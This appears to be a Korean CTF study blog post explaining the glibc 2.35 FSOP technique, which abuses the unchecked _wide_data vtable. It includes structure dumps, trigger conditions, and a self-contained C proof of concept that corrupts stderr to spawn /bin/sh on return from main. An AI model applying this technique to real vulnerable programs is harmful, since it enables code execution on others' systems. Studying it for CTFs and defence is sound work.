0x00. Introduction
FSOP(File Stream Oriented Programming)는 파일 입출력을 위해 생성된 file stream 포인터를 이용한 공격 기법이다. Exploit 시나리오는 glibc의 버전마다 조금씩 다른데 공통적인 부분은
- File stream 포인터의
vtable 영역에 상황에 맞는 함수 주소들이 존재 fopen, fread, fwrite, fclose 등의 상황에서 특정 조건 만족 시 함수 호출- 해당 함수에서 조건에 맞는 상황 처리
이러한 로직을 악용해서, 실행 흐름을 조작하는 공격이다.
clip_board 문제를 풀기 위해 공부한 내용인데 정리해두면 나중에 활용하기 좋을 것 같다.
0x01. FILE Structure
fopen 등의 파일 입출력 함수를 이용해서 file stream을 생성하면, _IO_FILE_plus 구조체가 생성된다.
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
struct _IO_FILE
{
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
이렇게 _IO_FILE_plus 구조체가 _IO_FILE 구조체를 포함하는 형식인데, gdb에서 libc symbol이 있는 환경이라면 구조체 형식으로 출력도 가능하다.
gef➤ p *(struct _IO_FILE_plus *) 0x7ffff7fa5780
$1 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7fa5804 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7fa4aa0 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7ffff7fa6a70 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7fa49a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7fa1600 <_IO_file_jumps>
}
FSOP 기법마다 사용되는 필드가 다르겠지만 이번 포스트에서 중요한 필드는 _wide_data이다.
마찬가지로 symbol이 있다면 gdb에서 _IO_wide_data 구조체 형식으로 출력할 수 있다.
gef➤ p *(struct _IO_wide_data *) 0x7ffff7fa49a0
$2 = {
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_IO_state = {
__count = 0x0,
__value = {
__wch = 0x0,
__wchb = "\000\000\000"
}
},
_IO_last_state = {
__count = 0x0,
__value = {
__wch = 0x0,
__wchb = "\000\000\000"
}
},
_codecvt = {
__cd_in = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0x0,
__invocation_counter = 0x0,
__internal_use = 0x0,
__statep = 0x0,
__state = {
__count = 0x0,
__value = {
__wch = 0x0,
__wchb = "\000\000\000"
}
}
}
},
__cd_out = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0x0,
__invocation_counter = 0x0,
__internal_use = 0x0,
__statep = 0x0,
__state = {
__count = 0x0,
__value = {
__wch = 0x0,
__wchb = "\000\000\000"
}
}
}
}
},
_shortbuf = L"",
_wide_vtable = 0x7ffff7fa10c0 <_IO_wfile_jumps>
}
마지막으로 _IO_wide_data의 마지막 필드에 _IO_FILE_plus와 동일하게 vtable 정보를 담고있는 포인터를 저장하고 있는데, _IO_jump_t 구조체 형식으로 출력하면 다음과 같다.
gef➤ p *(struct _IO_jump_t *) 0x7ffff7fa10c0
$3 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7e15ff0 <_IO_new_file_finish>,
__overflow = 0x7ffff7e10390 <__GI__IO_wfile_overflow>,
__underflow = 0x7ffff7e0efd0 <__GI__IO_wfile_underflow>,
__uflow = 0x7ffff7e0d840 <__GI__IO_wdefault_uflow>,
__pbackfail = 0x7ffff7e0d600 <__GI__IO_wdefault_pbackfail>,
__xsputn = 0x7ffff7e10840 <__GI__IO_wfile_xsputn>,
__xsgetn = 0x7ffff7e152b0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7e0f750 <__GI__IO_wfile_seekoff>,
__seekpos = 0x7ffff7e184b0 <_IO_default_seekpos>,
__setbuf = 0x7ffff7e145a0 <_IO_new_file_setbuf>,
__sync = 0x7ffff7e106a0 <__GI__IO_wfile_sync>,
__doallocate = 0x7ffff7e09e90 <_IO_wfile_doallocate>,
__read = 0x7ffff7e15930 <__GI__IO_file_read>,
__write = 0x7ffff7e14ec0 <_IO_new_file_write>,
__seek = 0x7ffff7e14670 <__GI__IO_file_seek>,
__close = 0x7ffff7e14590 <__GI__IO_file_close>,
__stat = 0x7ffff7e14eb0 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7e19420 <_IO_default_showmanyc>,
__imbue = 0x7ffff7e19430 <_IO_default_imbue>
}
구조체만 출력했음에도 엄청 길어졌는데, 나중에 출력하는 법과 원형만 참고하면 좋을 것 같다.
0x02. Strategy
Validation Bypass
vtable이 있으니 해당 영역에 함수 주소를 overwrite할 수만 있으면 해당 함수가 호출될 것 같지만, 아쉽게도 glibc 2.27부터 vtable을 검증하는 로직이 추가되었다고 한다. 예를 들어 glibc 2.35 버전에서는 IO_validate_vtable가 다음과 같이 구현되어있다.
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return vtable;
}
이렇게 vtable의 주소와 __start___libc_IO_vtables 사이의 offset이 section_length보다 큰지 검증함으로써 _libc_IO_vtables 영역에 있는 주소인지 검증한다.
그래서 방법을 찾다가 이 포스트에서 아이디어를 얻었는데, 상술한 _wide_data에 있는 vtable은 검증하는 로직이 없다고 한다.
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
(*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
+ offsetof(TYPE, MEMBER)))
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)
이렇게 함수 매크로를 따라가다 보면 _IO_WIDE_JUMPS_FUNC에서는 IO_validate_vtable 함수가 호출되지 않는 것을 확인할 수 있다.
Trigger
앞서 언급한 포스트에서는 fflush()를 이용하여 FSOP를 트리거하였으나, fflush()를 따로 호출하지 못하는 상황에서 어떻게 트리거를 할 지 찾아보다가 이 발표자료를 참고해서 _IO_flush_all_lockp 함수가 다음 상황에서 호출된다는 것을 확인했다.
- glibc abort routine
exit function- return in
main
_IO_flush_all_lockp 함수를 glibc 2.35에서 확인해보면 다음과 같다.
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (
((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}
이렇게 특정 조건을 만족하면 _IO_OVERFLOW 함수가 호출되므로 새로운 fp를 구성하거나 overwrite할 때 설정해야 하는 필드들의 값은 다음과 같다.
fp->flags = 0fp->vtable = &_IO_wfile_jumpsfp->mode = 1 (0보다 큰 값)fp->_wide_data->_IO_write_ptr = 1 혹은 &anywhere_rwfp->_wide_data->_IO_write_base = 0fp->_wide_data->_wide_vtable = &fake_vtable
이 중에서 _IO_write_ptr은 _IO_write_base보다 크기만 하면 되지만 포인터 주소가 들어가다보니 가능하다면 read / write가 가능한 영역을 할당받아 그 주소를 써주는 것이 좋을 것 같다.

새로운 fp를 구성했다면 위 이미지와 같이 메모리가 구성되는데, 마지막으로 해주어야 하는 것은 _IO_list_all을 unlinking 하는 것이다.

_IO_flush_all_lockp 함수에서 _IO_list_all에 담겨있는 file stream을 순회하며 _IO_OVERFLOW를 호출할 조건이 충족됐는지 확인하기 때문에
- 위 이미지처럼
_IO_list_all이 새로운 fp를 가리키게 함 - File stream의
_chain 필드를 잘 조작해서 fp가 중간에 들어가게 함
두 방법중에 가용한 방법을 채택하면 된다.
0x03. PoC
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include<string.h>
void backdoor()
{
system("/bin/sh");
}
int main()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
char *p1 = calloc(0x200, 1);
char *p2 = calloc(0x200, 1);
char *p3 = calloc(0x200, 1);
size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t libc_base_addr = puts_addr - 0x80e50;
printf("[*] libc base address: %p\n", (void *)libc_base_addr);
size_t _IO_2_1_stderr_addr = libc_base_addr + 0x21b6a0;
printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
size_t _IO_wfile_jumps_addr = libc_base_addr + 0x2170c0;
printf("[*] _IO_wfile_jumps address: %p\n", (void *)_IO_wfile_jumps_addr);
char *stderr2 = (char *)_IO_2_1_stderr_addr;
puts("[+] step 1: change stderr->_flags = 0x0");
*(size_t *)stderr2 = 0;
puts("[+] step 2: set stderr->_wide_data = p1");
*(size_t *)(stderr2 + 0xa0) = (size_t)p1;
puts("[+] step 3: change stderr->vtable to _IO_wfile_jumps");
*(size_t *)(stderr2 + 0xd8) = _IO_wfile_jumps_addr;
puts("[+] step 4: set stderr->_mode > 0");
*(size_t *)(stderr2 + 0xc0) = 1;
puts("[+] step 5: set stderr->_wide_data->_IO_write_base = 0x0");
*(size_t *)(p1 + 0x18) = (size_t)0x0;
puts("[+] step 6: set stderr->_wide_data->_IO_write_ptr = p2(anywhere rw)");
*(size_t *)(p1 + 0x20) = (size_t)p2;
puts("[+] step 7: set stderr->_wide_data->_wide_vtable = p3");
*(size_t *)(p1 + 0xe0) = (size_t)p3;
puts("[+] step 8: put backdoor at fake _wide_vtable->doallocate");
*(size_t *)(p3 + 0x68) = (size_t)(&backdoor);
puts("[+] step 9: return to trigger backdoor func");
return 0;
}
0x04. Reference